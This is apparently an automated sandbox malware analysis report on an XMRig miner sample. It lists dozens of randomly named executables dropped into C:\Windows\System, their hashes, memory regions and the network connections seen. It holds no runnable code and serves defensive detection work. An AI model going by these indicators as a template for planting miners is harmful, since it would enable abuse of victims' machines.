C:\Windows\System\XkUZBPf.exe

C:\Windows\System\XkUZBPf.exe

C:\Windows\System\EsPXoaE.exe

C:\Windows\System\EsPXoaE.exe

C:\Windows\System\zLvEkCK.exe

C:\Windows\System\zLvEkCK.exe

C:\Windows\System\oYwtlTP.exe

C:\Windows\System\oYwtlTP.exe

C:\Windows\System\ecEdTJg.exe

C:\Windows\System\ecEdTJg.exe

C:\Windows\System\hosDMTg.exe

C:\Windows\System\hosDMTg.exe

C:\Windows\System\RINGOvE.exe

C:\Windows\System\RINGOvE.exe

C:\Windows\System\ouPykOj.exe

C:\Windows\System\ouPykOj.exe

C:\Windows\System\atNNdLW.exe

C:\Windows\System\atNNdLW.exe

C:\Windows\System\HDwrQQS.exe

C:\Windows\System\HDwrQQS.exe

C:\Windows\System\wNSlXJc.exe

C:\Windows\System\wNSlXJc.exe

C:\Windows\System\fBuXAyo.exe

C:\Windows\System\fBuXAyo.exe

C:\Windows\System\mzSREVb.exe

C:\Windows\System\mzSREVb.exe

C:\Windows\System\DLUTWrE.exe

C:\Windows\System\DLUTWrE.exe

C:\Windows\System\dPFVRWu.exe

C:\Windows\System\dPFVRWu.exe

C:\Windows\System\RzLofuo.exe

C:\Windows\System\RzLofuo.exe

C:\Windows\System\zsuYjZy.exe

C:\Windows\System\zsuYjZy.exe

C:\Windows\System\NmZuatv.exe

C:\Windows\System\NmZuatv.exe

C:\Windows\System\xMyumiH.exe

C:\Windows\System\xMyumiH.exe

C:\Windows\System\ijGFJiv.exe

C:\Windows\System\ijGFJiv.exe

C:\Windows\System\giyFoXk.exe

C:\Windows\System\giyFoXk.exe

C:\Windows\System\GhRlRXW.exe

C:\Windows\System\GhRlRXW.exe

C:\Windows\System\AoLLlxl.exe

C:\Windows\System\AoLLlxl.exe

C:\Windows\System\dfoEMXC.exe

C:\Windows\System\dfoEMXC.exe

C:\Windows\System\rHHCLof.exe

C:\Windows\System\rHHCLof.exe

C:\Windows\System\UyaYlyq.exe

C:\Windows\System\UyaYlyq.exe

C:\Windows\System\EhxFvQI.exe

C:\Windows\System\EhxFvQI.exe

C:\Windows\System\iagGNjv.exe

C:\Windows\System\iagGNjv.exe

C:\Windows\System\ppPfOQI.exe

C:\Windows\System\ppPfOQI.exe

C:\Windows\System\hIgjHUV.exe

C:\Windows\System\hIgjHUV.exe

C:\Windows\System\fpOJHbX.exe

C:\Windows\System\fpOJHbX.exe

C:\Windows\System\VQYMLqP.exe

C:\Windows\System\VQYMLqP.exe

C:\Windows\System\TFhSoCu.exe

C:\Windows\System\TFhSoCu.exe

C:\Windows\System\fYxdVlO.exe

C:\Windows\System\fYxdVlO.exe

C:\Windows\System\OvAjQGT.exe

C:\Windows\System\OvAjQGT.exe

C:\Windows\System\jKChCug.exe

C:\Windows\System\jKChCug.exe

C:\Windows\System\CDTdTEk.exe

C:\Windows\System\CDTdTEk.exe

C:\Windows\System\rIPGGuM.exe

C:\Windows\System\rIPGGuM.exe

C:\Windows\System\uwkiMLK.exe

C:\Windows\System\uwkiMLK.exe

C:\Windows\System\czPkvht.exe

C:\Windows\System\czPkvht.exe

C:\Windows\System\MykrzYV.exe

C:\Windows\System\MykrzYV.exe

C:\Windows\System\mUHNAog.exe

C:\Windows\System\mUHNAog.exe

C:\Windows\System\AUPZSeK.exe

C:\Windows\System\AUPZSeK.exe

C:\Windows\System\DNSzHBd.exe

C:\Windows\System\DNSzHBd.exe

C:\Windows\System\dltQZXf.exe

C:\Windows\System\dltQZXf.exe

C:\Windows\System\ttLnpZV.exe

C:\Windows\System\ttLnpZV.exe

C:\Windows\System\xidWOmI.exe

C:\Windows\System\xidWOmI.exe

C:\Windows\System\wkdUzws.exe

C:\Windows\System\wkdUzws.exe

C:\Windows\System\DWqIfab.exe

C:\Windows\System\DWqIfab.exe

C:\Windows\System\tTxTxYe.exe

C:\Windows\System\tTxTxYe.exe

C:\Windows\System\cSSRctC.exe

C:\Windows\System\cSSRctC.exe

C:\Windows\System\nXhIWrQ.exe

C:\Windows\System\nXhIWrQ.exe

C:\Windows\System\bohTZku.exe

C:\Windows\System\bohTZku.exe

C:\Windows\System\IJgeuat.exe

C:\Windows\System\IJgeuat.exe

C:\Windows\System\HcRjHVw.exe

C:\Windows\System\HcRjHVw.exe

C:\Windows\System\glrTzcj.exe

C:\Windows\System\glrTzcj.exe

C:\Windows\System\cZsOhPF.exe

C:\Windows\System\cZsOhPF.exe

C:\Windows\System\NVfUjzC.exe

C:\Windows\System\NVfUjzC.exe

C:\Windows\System\GsNvQqF.exe

C:\Windows\System\GsNvQqF.exe

C:\Windows\System\PxZdvxQ.exe

C:\Windows\System\PxZdvxQ.exe

C:\Windows\System\rvhGYiB.exe

C:\Windows\System\rvhGYiB.exe

C:\Windows\System\aLMtrDw.exe

C:\Windows\System\aLMtrDw.exe

C:\Windows\System\wtYyige.exe

C:\Windows\System\wtYyige.exe

C:\Windows\System\wdbUeGv.exe

C:\Windows\System\wdbUeGv.exe

C:\Windows\System\SsvsdEI.exe

C:\Windows\System\SsvsdEI.exe

C:\Windows\System\ChrCYVe.exe

C:\Windows\System\ChrCYVe.exe

C:\Windows\System\PAkfOPx.exe

C:\Windows\System\PAkfOPx.exe

C:\Windows\System\lfwNhnc.exe

C:\Windows\System\lfwNhnc.exe

C:\Windows\System\reMkDkY.exe

C:\Windows\System\reMkDkY.exe

C:\Windows\System\QyxVKyi.exe

C:\Windows\System\QyxVKyi.exe

C:\Windows\System\UdKkqSU.exe

C:\Windows\System\UdKkqSU.exe

C:\Windows\System\FhxPSSE.exe

C:\Windows\System\FhxPSSE.exe

C:\Windows\System\pJgRXkK.exe

C:\Windows\System\pJgRXkK.exe

C:\Windows\System\CdcIHkz.exe

C:\Windows\System\CdcIHkz.exe

C:\Windows\System\ccnmGhm.exe

C:\Windows\System\ccnmGhm.exe

C:\Windows\System\RCmdSFs.exe

C:\Windows\System\RCmdSFs.exe

C:\Windows\System\QqZBKEV.exe

C:\Windows\System\QqZBKEV.exe

C:\Windows\System\CxOsWSm.exe

C:\Windows\System\CxOsWSm.exe

C:\Windows\System\FQhpbdA.exe

C:\Windows\System\FQhpbdA.exe

C:\Windows\System\LRUVDsD.exe

C:\Windows\System\LRUVDsD.exe

C:\Windows\System\ppZIBIh.exe

C:\Windows\System\ppZIBIh.exe

C:\Windows\System\ANaVlqm.exe

C:\Windows\System\ANaVlqm.exe

C:\Windows\System\kSeWxeo.exe

C:\Windows\System\kSeWxeo.exe

C:\Windows\System\uuxhjzx.exe

C:\Windows\System\uuxhjzx.exe

C:\Windows\System\xlyDDOq.exe

C:\Windows\System\xlyDDOq.exe

C:\Windows\System\VFgNXVQ.exe

C:\Windows\System\VFgNXVQ.exe

C:\Windows\System\SAbXOjm.exe

C:\Windows\System\SAbXOjm.exe

C:\Windows\System\jcHFuwb.exe

C:\Windows\System\jcHFuwb.exe

C:\Windows\System\NDmVaao.exe

C:\Windows\System\NDmVaao.exe

C:\Windows\System\daMOEQE.exe

C:\Windows\System\daMOEQE.exe

C:\Windows\System\uzPUdLS.exe

C:\Windows\System\uzPUdLS.exe

C:\Windows\System\pbyWrWf.exe

C:\Windows\System\pbyWrWf.exe

C:\Windows\System\LmtyemU.exe

C:\Windows\System\LmtyemU.exe

C:\Windows\System\ZeHPjrP.exe

C:\Windows\System\ZeHPjrP.exe

C:\Windows\System\XumwcLI.exe

C:\Windows\System\XumwcLI.exe

C:\Windows\System\zdFnqBF.exe

C:\Windows\System\zdFnqBF.exe

C:\Windows\System\DuyVixN.exe

C:\Windows\System\DuyVixN.exe

C:\Windows\System\lydOmGK.exe

C:\Windows\System\lydOmGK.exe

C:\Windows\System\fdvWYto.exe

C:\Windows\System\fdvWYto.exe

C:\Windows\System\DAZCPiV.exe

C:\Windows\System\DAZCPiV.exe

C:\Windows\System\JbVLuFb.exe

C:\Windows\System\JbVLuFb.exe

C:\Windows\System\spIBwdn.exe

C:\Windows\System\spIBwdn.exe

C:\Windows\System\QYefVfv.exe

C:\Windows\System\QYefVfv.exe

C:\Windows\System\pipTGFk.exe

C:\Windows\System\pipTGFk.exe

C:\Windows\System\iFLbdNm.exe

C:\Windows\System\iFLbdNm.exe

C:\Windows\System\jzdjJiV.exe

C:\Windows\System\jzdjJiV.exe

C:\Windows\System\gCkkReZ.exe

C:\Windows\System\gCkkReZ.exe

C:\Windows\System\qbwIfWM.exe

C:\Windows\System\qbwIfWM.exe

C:\Windows\System\DPVelvT.exe

C:\Windows\System\DPVelvT.exe

C:\Windows\System\Qgajyaa.exe

C:\Windows\System\Qgajyaa.exe

C:\Windows\System\PFEWfcu.exe

C:\Windows\System\PFEWfcu.exe

C:\Windows\System\fXolnxz.exe

C:\Windows\System\fXolnxz.exe

C:\Windows\System\qZGsMnF.exe

C:\Windows\System\qZGsMnF.exe

C:\Windows\System\gNutBCe.exe

C:\Windows\System\gNutBCe.exe

C:\Windows\System\hhQUJmV.exe

C:\Windows\System\hhQUJmV.exe

C:\Windows\System\iBbhcgy.exe

C:\Windows\System\iBbhcgy.exe

C:\Windows\System\cgNWBrz.exe

C:\Windows\System\cgNWBrz.exe

Network

Country	Destination	Domain	Proto
DE	3.120.98.217:8080		tcp
US	8.8.8.8:53	raw.githubusercontent.com	udp
US	185.199.108.133:443	raw.githubusercontent.com	tcp
US	8.8.8.8:53	github.com	udp
GB	20.26.156.215:443	github.com	tcp
US	8.8.8.8:53	133.108.199.185.in-addr.arpa	udp
US	8.8.8.8:53	215.156.26.20.in-addr.arpa	udp
US	8.8.8.8:53	github.githubassets.com	udp
US	185.199.108.154:443	github.githubassets.com	tcp
US	185.199.108.154:443	github.githubassets.com	tcp
US	8.8.8.8:53	154.108.199.185.in-addr.arpa	udp
US	185.199.108.154:443	github.githubassets.com	tcp
US	8.8.8.8:53	157.123.68.40.in-addr.arpa	udp
US	8.8.8.8:53	56.126.166.20.in-addr.arpa	udp
US	8.8.8.8:53	26.35.223.20.in-addr.arpa	udp
US	8.8.8.8:53	73.159.190.20.in-addr.arpa	udp
US	8.8.8.8:53	105.83.221.88.in-addr.arpa	udp
US	8.8.8.8:53	31.243.111.52.in-addr.arpa	udp

Files

memory/4612-0-0x00007FF6A99C0000-0x00007FF6A9DB2000-memory.dmp

memory/4612-1-0x000001F1999C0000-0x000001F1999D0000-memory.dmp

C:\Windows\System\IgaVQeK.exe

MD5	0818f460f27e19929271a23b4706532a
SHA1	8f0cdb85fbac81085ee7c2bab497b47e88ac394e
SHA256	4b939217fa73690d7297d3f7f0f4a6ca81fa4788de9c366099265bd0c3421738
SHA512	05a4beb59b978a63c56fb07152575d3232a76c67f886790f2bfa77bd375125228c72e9b9f6561fc5cf43747e446e83b657aefba27164d160995330eedd0de391

memory/3100-26-0x00007FF74F9B0000-0x00007FF74FDA2000-memory.dmp

memory/4056-36-0x00007FF6BE3D0000-0x00007FF6BE7C2000-memory.dmp

C:\Windows\System\DZCDKOa.exe

MD5	acc4a7dc17127219420ce90527267713
SHA1	2006090606fe9bc87583678cc9b14ee2dec4edbd
SHA256	169864bbe2873531b04eb17bdcee668b768a6ddd4f68f5629510eb2d514f04ed
SHA512	cde5d3eec0c0b52509ae67490713c074c35c793d86f38723070634cbdf9cd3f0afddef184ea617b92bfa7a5ed437880a0e88cf5c1f4756a92e624261aa50acb6

C:\Windows\System\sEgFUUs.exe

MD5	a58c8d5220329ea7ecbff434051d10c0
SHA1	8ea8856d14c4b7f77d2ce703834efaffc5be83e1
SHA256	583b8d6bf8509fdff5e1b89f492650f5dd409cc104347182d4a713ae5ce048d8
SHA512	296d82cabc6d7443c847567602cf697e5f7e3a83ebb042bf08e7f0353b23c78ed6fcf03f4af0404689f8f27a75e53d23ea3115065103e95f606f537a6beed3bf

C:\Windows\System\oUlNoAc.exe

MD5	5f74434395b9ccffe819574ea693a656
SHA1	386909768dd5392c5904976e08a428b54351e912
SHA256	d49085bfa9bd3493160a97ace1ffe0eaeb58c6b41252357577f24562f562e85f
SHA512	1ed590ec5a24fa5f91a596920b4d9c6559b779c8b6ee114f3bc9955d35dfbf9cbc3bbdc15d57bac53d441345a119a0dc3e63897619f21980a60d520313f9ebb6

C:\Windows\System\KLxSuBL.exe

MD5	c386181098ce23794a2c58bc45fffea3
SHA1	c1c28b78a002f1329d5989c6ed0758ffd36f4c62
SHA256	e85a14b59d8afe8c6e199755dfd34bbaadc6cc0542f01ccb45b0212a88c49ccd
SHA512	197c5310551f966c2163d1d52a902af57e4141c2c0db7e2ae909b2b902f0f34569a909b3189732308f6d92f07ce3ccf265635f5b6008f94ff16e52ba4b41a795

C:\Windows\System\oUmaXpM.exe

MD5	3177dc979f8b397fea84b3b271ea26fa
SHA1	d83b2df6e9a4cddf0feaa4b014520366181c89d3
SHA256	9103055fc7703bcf75fef3ac9b4e542098101703e6940654dfe55f96e1e80d84
SHA512	a25f3823df981749dfbefee6eef3e1f0bb9f682ec60e6231e40279a9b65a191928c00b89ccd8c335f2f0dac7fc5800ce26946d40d6c907797e4552be954b1185

C:\Windows\System\SBGzqYX.exe

MD5	a64ae38272d1f982b5aff56c21810ff5
SHA1	f7d8fcd4e1eacaa94bcd625f3ad348d86557601f
SHA256	8e602fa1f82aa4a9438e4f4026ee5caad52c8404f6f278805287036dc0377a6e
SHA512	e3ff990b089e448eaa03135104b5293662ff4452975fd01c858f920bb3790508560010a5b54949e333603d6de4666e9fb0b9d46e8a6af59772717c8ffc56171b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4oa01iqb.2bm.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Windows\System\GhNdvBw.exe

MD5	5edc7e73609ca94ed00a761cb6dc6957
SHA1	22d71b7289d5e77c0437ede24502b965babbb73a
SHA256	92828c6f6702a126081332df4bef563997614349dc658129ede03ac5438cdbfc
SHA512	4507c5aa51255fc40ba86febe309561e292f88afaa783131075d7b6292572c241d2e9ef68684381eea8861777774371033912121af3eed05303195ea3abda131

C:\Windows\System\cGOuBvi.exe

MD5	2757a746eca326afaf0268e0347b1e7e
SHA1	68b4c0191f9bc185380ab6e936b51abc66edcd39
SHA256	600d9af54e8b2730273298926d5341e0b883733b91dc58b8ba66fc0f67f86c87
SHA512	1c8630862277438648a31f461f91b64f7de927866fa4fb592a918b079336e4cbd620899ac8e43742d1896a2bb3db51a1cb104844e969cd426e0a185ab8ad2013

C:\Windows\System\BGPoBgA.exe

MD5	ae44492b98e5b42c67bad8b1efac1abf
SHA1	a0135f02a0cf926df1dbee150d886abea8f3d738
SHA256	8eb87da385ccff0a6690c7525ec178432c87d55b5ef6b81651ad74f7602475c6
SHA512	ea90f8707865105adda2110501b240a106277ffb494190fc7ddc963ee3bb9aa550cde3559c35a9f2e074c02e9bed3ebf3e141271e91d0e00af3d17292610ba55

C:\Windows\System\nKWLWdQ.exe

MD5	a0bf2ecf55d7df506750bc8707602b9f
SHA1	e90b53c35b6cb449e3072ff0ac3772c3ee84d2f9
SHA256	8f4755d7788c95a7e5a0f89afba97050de7bebfb72fb15a6f67ffab2f64fddb4
SHA512	42d6ee3fb4899edba177794d44714b8fb6eeb66cc03393aad63ac1313a3d35cce3c83d509e096edf9215b063e603224add28ddd28237bbba3b842e65b47d3df4

C:\Windows\System\NgBVWZb.exe

MD5	1818575f1d44b174d2a721d0eb6bd508
SHA1	e07a6ce4729a197f4e849b67ce406af3bc9d1859
SHA256	d16336fea487e070b4daf6aa0410fd4ce3cb35da678645177ad0c5f650750728
SHA512	c5dc2f32d54ce0bd736ad71223caa2b8d7eb39787b08eee1a6f8b1f7af43bf9768ad54686d9e4beaf1c8e28b06ebfad4bfe501b056d2dcd3545442a4472bd0b3

C:\Windows\System\QFoiEsJ.exe

MD5	dc7b5d1413c525f2eba2486b7d52e370
SHA1	4d43b635db486698f00e83a86a44eb30c88732b1
SHA256	eed9a12a6619d4a15a3d34f3feba3eb4ee7ae538cd4f69b9fcf14dd4401929a3
SHA512	4173812b8971e2c6ad1226f752f06d61df85879050a20dc17d8525fb48bb101351d3621733a85759d04c7b48db247e4c66872f633e4c058f072781bbd0d8070c

memory/5080-410-0x00007FF6A50D0000-0x00007FF6A54C2000-memory.dmp

memory/2628-272-0x0000018579360000-0x0000018579B06000-memory.dmp

memory/1836-421-0x00007FF7449F0000-0x00007FF744DE2000-memory.dmp

memory/4576-429-0x00007FF776BB0000-0x00007FF776FA2000-memory.dmp

memory/4292-439-0x00007FF611DA0000-0x00007FF612192000-memory.dmp

memory/4084-463-0x00007FF685A00000-0x00007FF685DF2000-memory.dmp

memory/376-469-0x00007FF78F690000-0x00007FF78FA82000-memory.dmp

memory/4616-484-0x00007FF68B120000-0x00007FF68B512000-memory.dmp

memory/1524-490-0x00007FF66E870000-0x00007FF66EC62000-memory.dmp

memory/4724-514-0x00007FF6D9290000-0x00007FF6D9682000-memory.dmp

memory/632-527-0x00007FF798BF0000-0x00007FF798FE2000-memory.dmp

memory/3668-538-0x00007FF627F40000-0x00007FF628332000-memory.dmp

memory/3124-525-0x00007FF671420000-0x00007FF671812000-memory.dmp

memory/4548-522-0x00007FF7AE3F0000-0x00007FF7AE7E2000-memory.dmp

memory/5028-506-0x00007FF71E3B0000-0x00007FF71E7A2000-memory.dmp

memory/4212-505-0x00007FF75DF90000-0x00007FF75E382000-memory.dmp

memory/2944-501-0x00007FF696270000-0x00007FF696662000-memory.dmp

memory/116-473-0x00007FF6B6290000-0x00007FF6B6682000-memory.dmp

memory/1440-449-0x00007FF7A6B80000-0x00007FF7A6F72000-memory.dmp

memory/5116-432-0x00007FF70DF40000-0x00007FF70E332000-memory.dmp

memory/4920-411-0x00007FF61C8B0000-0x00007FF61CCA2000-memory.dmp

C:\Windows\System\iqnwIWw.exe

MD5	1b681ec8b2a01cdcc3c4020de5c266bc
SHA1	2629ca234c6f4b6773b8196c92e584aaebe2dd41
SHA256	68f39f44236ef945947100608b4b3d4eb47fbb146a27e92b6274e0893795d248
SHA512	211d5d94b1748b8f4119f232c1658c82891c5c043c166fd2456c2e06e96727ecc222ef76676d449178a55307e516f50862dc6ea1d1cc229246cff7553b8a246a

C:\Windows\System\EzoaPUW.exe

MD5	c17c6958512a2277dacdba513167a2fa
SHA1	38cff393e4488cdb4cf565d6e40563610e57b259
SHA256	7bda49b84b7a8cbb974a9826ab30bf08b03768d4bc30b876bda979c656eb7b3f
SHA512	8255b67126f0bfec0ee7347d394446c8a85387b5456a569542104e29da05ea60bf7767c0770386bc43006e3fe2c44acfef1d925ab1230ecc3ddf5f47d5c1253b

C:\Windows\System\hlzBIox.exe

MD5	12704835536c884bd12ad1d68eea2c29
SHA1	5e6a367c18363db4c790257ab83cc8a76a3242f3
SHA256	edc9ffe1ea3a58f5127fb401e2890bdb7e06496095c79b0cb93298c303347f56
SHA512	8aab9560244e84689b6f6feb9aa4739239dfa2a88ca8ca16d1101a10aacb4e616bcd4c6f2376bd12510b749d2eab95b11490f7c95699f2eb523246719e6b3bc0

C:\Windows\System\vkmWHmN.exe

MD5	43b0dbaed52715aa01a4aa1eceb82c8b
SHA1	7ddb7318644f214386fa4b20ef7906a792c44c81
SHA256	fd42dbfbb52d25bb1eea4605909eaefd3850287b22a3f32b2bb1b939e884a9a0
SHA512	a91512c596887d161e4d3f00cbf2a9a3f335b638bceefb26d9065208715f4e94ccdea2736f7459977db0a264e8c8001af310bb5cc1189696be7158aa4499e1c7

C:\Windows\System\tcTuzUP.exe

MD5	2146d8f852bb994db977f2ce51545332
SHA1	42b245408201f424ac870aee7e2d97eee483ad0e
SHA256	bb19652c933e0318df74401706751563ef20b74dc4d9b5dc70654dd90c008444
SHA512	7e714f6b7b368f51d1d12acadd19cd1e70ceb2de1f7af50624a690d414538cc9605f8904e6dc22f1ec3c03bb18313ddc3f890d3f17c5d5ec1cabdd23a4c4c2db

C:\Windows\System\AhUvjVT.exe

MD5	912e91e03d409abb7dfddc76d0c66c23
SHA1	8bc93da111cc9318375e9f1edbde56ccb5c37abb
SHA256	4e013bf915d26a1e916cbb047d00dc7884670d99af1f6430291d27b24c2dcb90
SHA512	db17adbc35688c7addbfb37508116a2f3076f76865ed9e90ed39aa3875532204a501a1b1b57132b6aa42665c08dd116abe8ccdd435c789204468a1ad364515eb

C:\Windows\System\raEShGs.exe

MD5	88eb84e14f3a853ef870868e73e36f2e
SHA1	61c067401ecff4789b43041e7f9ad29126915316
SHA256	46cb7b15cd42e524583a91eee332909af8eed0e74b1beb180f58d1c30d62711b
SHA512	414db94de60fab31895daf37246807223ac301427ac137e429aa10e048c870727c571d2cfd67622f4da7b161880cd00006b30df41aeb4e5a436adebdda88f7e8

C:\Windows\System\YWaCAgW.exe

MD5	4a6176fd9968543fb3ada8efc1fdbb82
SHA1	85bff8a0ac49434dd7a795c5fc68a920d7471bbc
SHA256	b17982018daeb59bf5c39b03a3db1d029fb1a2cfc98f07e263f82ce364b7dc4b
SHA512	a08fde5b7330949e713a9c468577ed92265736795c1c619824625f850dd9b6f8e63bd29f29ceee2e5cfeb24803ea2d15fc7f6746d677e58b912d39bfcd528f99

C:\Windows\System\XiWcEzm.exe

MD5	e6d59318dfe596d41f80560649166671
SHA1	573d6a09963dda7b26dd93e9fa4c077363791ded
SHA256	d51c07676af8a15eddfd7eafe15e48a04d08fe4a70c0afbe2ecd2fed4c892185
SHA512	61c3538cc79a1b3c216e214550518132152c7ca4da76a224da94b24b6622d52a445845a2349e3d09678977f43eb2e3614c793d590d11623a056ea5c74c3aa10b

C:\Windows\System\DpMOVww.exe

MD5	a83791dea8c96f82b3b72590a1da59c9
SHA1	436c5ba6b6c782181693f12e4e7d52835ac6b396
SHA256	43523e0add1e34066c81138f87db06aa6be57389ff76b68e41afc686e091171d
SHA512	539fab00ccd851fef7114ec6e0572cc011e35c84c4ad7f5ce7fdd2a3b547e09f3d1d9f27fc3174099df1859fa75eefb2a12f6edde364b745237a8fcc5d2b63dc

C:\Windows\System\eyBHHxC.exe

MD5	cdf407b2cb9b591bac601d8fc6cfdf9b
SHA1	d79063a9a55dde2d336fb367b87f20ed90857463
SHA256	48b1870ef84bd80577473ce4608c285fdb38a6d184667a0aaceef3ef1071e391
SHA512	d3359bdaa49eefa1e7f2ce21e9f03314e075a3eaed947d6b10a9fbf41b6069e99a6c2c7da43677f693111eb2a7dd4c1b98001457be65faa6184a3c9904afd2ef

C:\Windows\System\eQZXhYa.exe

MD5	fea4107d19c44361eb58d130b598e44c
SHA1	edfd4901bdb97e7b88f12a9968f602563877cb60
SHA256	b87337f1a0aef63199c75a30ee22db9b6699041a5e8fb2f70b3d38bc0dac43a0
SHA512	af9aaa2db598331715f3147f35f0d36d7be978f0d47af4621c72de7307858f26b89599138532abf59beafa4dd59a4f9c44b5edf313e9d76bcae82a3a0cb25537

memory/2628-99-0x0000018578350000-0x0000018578372000-memory.dmp

memory/2628-76-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

C:\Windows\System\LLMujzp.exe

MD5	7d1e030b7ae141415ad13b4fad9f41f8
SHA1	9042eab9ab9bc95043694d5a526cb8a17218a0c2
SHA256	bfc19ae55c93f03fca1a274a81401b1128d1de5afe07678c9c561d69c27daaba
SHA512	2d0b39a99df5621eff4146b1409ba76f80073a9551c52f4ba148b48a79d7f989f1bfab2f31a676775aaa5b0dcc67fc2a4186ec74ffdefcbfd8d6145d5330f3d0

memory/2628-55-0x00007FFE86713000-0x00007FFE86715000-memory.dmp

memory/5000-54-0x00007FF7A2180000-0x00007FF7A2572000-memory.dmp

C:\Windows\System\qtQXwqS.exe

MD5	01a3ee92926a45b0055032ba7e8913ec
SHA1	001e42e09ca52178ddf475b26eb0b42e290caf9f
SHA256	47b539003985f30ffe11aa75243a0507333f469f9a9ed9bfdb9c94146175da33
SHA512	e79c93a33d27b1c15701d84cfdcb934ab52a15001475ae4f09d024a00e3485f0ef73b9f64e79af268543749f11926e5403f66dcfa1964290ebb9cdb832b4ae91

C:\Windows\System\TssLdsW.exe

MD5	d2c828dd9377965e6000f3af1dfb5bf1
SHA1	394027f4d9523465100cc6d72e8fa1014d344bd0
SHA256	37ca276bd3f0dced7b26f7d7ada34803f9a16c82b6d992e5fde6658edb281fe7
SHA512	092c6d00b4c8ba5890482ab30b08e42697830f0499df519d2a6605a63cf8f9497dfbe5dd579a75d1b075b8b6760fc49d89fd33ed0d16b45de3ff58d1b2c95a03

C:\Windows\System\uGsExMV.exe

MD5	4f7c8844e7cc4106dda8329cdce82ea4
SHA1	1d5c4c2d7ea89ddd8c02a3a70acf08202f3b268f
SHA256	68644d633b435232b58e8ccb8d64bec9887feef84de71a0573af9a5a62c6848b
SHA512	7de032691a9bea5de066a3013160f8103d507f5c4cf1df97e41eb62783acb2f77b7e1acb5b74ecc0875674bb8c812663bad0a96026b37bec0382d82f3b101d2c

C:\Windows\System\PNZLQbJ.exe

MD5	6e76ba5f6ffe2c2d336966dbc15385af
SHA1	d2c32f389a3f7de072121b6bc715236da6a6cc9b
SHA256	70f37bc3ca057d11ab089461a382aa3d98f55b505eeda9a097af0b88134de8b1
SHA512	bfb45e127e7fb692d2d35cc87e44aa6b36759c414b3b41f76e323c0c3425b31714aaaa085dc1b66ea8fd76b8d4b5f105991da76b78bb6112201e886e72286eaa

C:\Windows\System\EaoDjQF.exe

MD5	8c04ec7f18433a0dc84138107bc5b824
SHA1	87666668675fd6c93ed9ad65f89da47e8449dc2c
SHA256	801a18c00a8d3c2e4a3613cdcfc9b351867f40d4419b6071e93770882fd86274
SHA512	ab9711b0329b627de10f552edc8c3d5d08027fa6406b1b7c546248e1c66f56bbfcc93f31afcd8b0f159e8c7045f86918053ede4e228958ad40ebf8e73797fbf1

C:\Windows\System\hLRKbdd.exe

MD5	8d1549d2e1d0b9b07222eb9e76ce1049
SHA1	4770db8912902c4be02ff62824c958d848663967
SHA256	957ac520a0d5d9f1dcfa40b49c6cb72e2301702f053840f598fb015e127b8e78
SHA512	eb7da895f692e895d0e498b4a3b12a180b4c6e30ac88be0affe07a1f0ccc028d1a4193178c32484ab7312ac33c9c9b74de87657c48463ac0740ad7c92346392c

C:\Windows\System\VdVKCiM.exe

MD5	5edd510b6cf457f7f52bdd7238c46d54
SHA1	8dd7cbb901bf977b93daf73a0dd5a68259e3e1ab
SHA256	36b28a935cb6b66849bfb2344146bcbe638a3d4e7ade84902c2dc38db01f8b84
SHA512	f9b5c1914b527bb7edf544aff8f95a04fccbee876446b80bd51379e191166cbfa91f4a4eb269df364fa1a29c619063a38a5eeb1d7aeb903e574a6c89d8dae472

memory/2872-14-0x00007FF7E9B70000-0x00007FF7E9F62000-memory.dmp

memory/2872-2987-0x00007FF7E9B70000-0x00007FF7E9F62000-memory.dmp

memory/4056-2988-0x00007FF6BE3D0000-0x00007FF6BE7C2000-memory.dmp

memory/2628-2989-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

memory/3100-2990-0x00007FF74F9B0000-0x00007FF74FDA2000-memory.dmp

memory/2628-2991-0x00007FFE86713000-0x00007FFE86715000-memory.dmp

memory/2872-3010-0x00007FF7E9B70000-0x00007FF7E9F62000-memory.dmp

memory/4056-3012-0x00007FF6BE3D0000-0x00007FF6BE7C2000-memory.dmp

memory/5000-3014-0x00007FF7A2180000-0x00007FF7A2572000-memory.dmp

memory/3100-3016-0x00007FF74F9B0000-0x00007FF74FDA2000-memory.dmp

memory/5080-3019-0x00007FF6A50D0000-0x00007FF6A54C2000-memory.dmp

memory/3124-3024-0x00007FF671420000-0x00007FF671812000-memory.dmp

memory/4576-3026-0x00007FF776BB0000-0x00007FF776FA2000-memory.dmp

memory/1836-3028-0x00007FF7449F0000-0x00007FF744DE2000-memory.dmp

memory/4548-3020-0x00007FF7AE3F0000-0x00007FF7AE7E2000-memory.dmp

memory/4920-3022-0x00007FF61C8B0000-0x00007FF61CCA2000-memory.dmp

memory/5116-3045-0x00007FF70DF40000-0x00007FF70E332000-memory.dmp

memory/4292-3043-0x00007FF611DA0000-0x00007FF612192000-memory.dmp

memory/3668-3039-0x00007FF627F40000-0x00007FF628332000-memory.dmp

memory/4084-3037-0x00007FF685A00000-0x00007FF685DF2000-memory.dmp

memory/1440-3041-0x00007FF7A6B80000-0x00007FF7A6F72000-memory.dmp

memory/376-3035-0x00007FF78F690000-0x00007FF78FA82000-memory.dmp

memory/116-3032-0x00007FF6B6290000-0x00007FF6B6682000-memory.dmp

memory/4616-3031-0x00007FF68B120000-0x00007FF68B512000-memory.dmp

memory/2944-3050-0x00007FF696270000-0x00007FF696662000-memory.dmp

memory/4212-3052-0x00007FF75DF90000-0x00007FF75E382000-memory.dmp

memory/5028-3054-0x00007FF71E3B0000-0x00007FF71E7A2000-memory.dmp

memory/1524-3049-0x00007FF66E870000-0x00007FF66EC62000-memory.dmp

memory/632-3046-0x00007FF798BF0000-0x00007FF798FE2000-memory.dmp

memory/4724-3057-0x00007FF6D9290000-0x00007FF6D9682000-memory.dmp

Sample ID	240613-qvtses1cnc
Target	809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe
SHA256	9bda4f3512d40b316cfd151b25af644cbf466019a9617148f10dd262088c9fab
Tags	upx miner xmrig execution

Malware Analysis Report

2024-07-28 20:00

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview
